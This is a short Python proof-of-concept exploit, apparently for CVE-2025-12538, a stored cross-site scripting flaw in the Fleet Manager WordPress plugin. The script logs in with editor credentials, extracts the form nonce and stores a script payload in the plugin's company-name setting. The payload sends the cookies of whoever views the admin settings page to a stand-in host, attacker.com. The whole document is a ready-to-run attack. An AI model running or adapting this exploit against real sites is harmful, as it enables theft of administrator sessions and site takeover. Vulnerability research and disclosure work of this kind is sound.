CVE-2025-12538

import requests import re # CVE-2025-12538 PoC - Fleet Manager XSS in Admin Settings # Target: WordPress site with Fleet Manager plugin <= 2.5.1 # Prerequisites: Editor-level or higher user account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_editor" PASSWORD = "password123" # XSS payload - cookie stealing example XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Access Fleet Manager settings page settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=fleet-settings" response = session.get(settings_url) # Step 3: Extract nonce for form submission nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: nonce = nonce_match.group(1) # Step 4: Submit XSS payload in setting field update_data = { '_wpnonce': nonce, 'fleet_company_name': XSS_PAYLOAD, # Inject XSS in company name field 'fleet_settings_submit': 'Save Changes' } session.post(settings_url, data=update_data) print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin visits settings page") else: print("[-] Failed to extract nonce")

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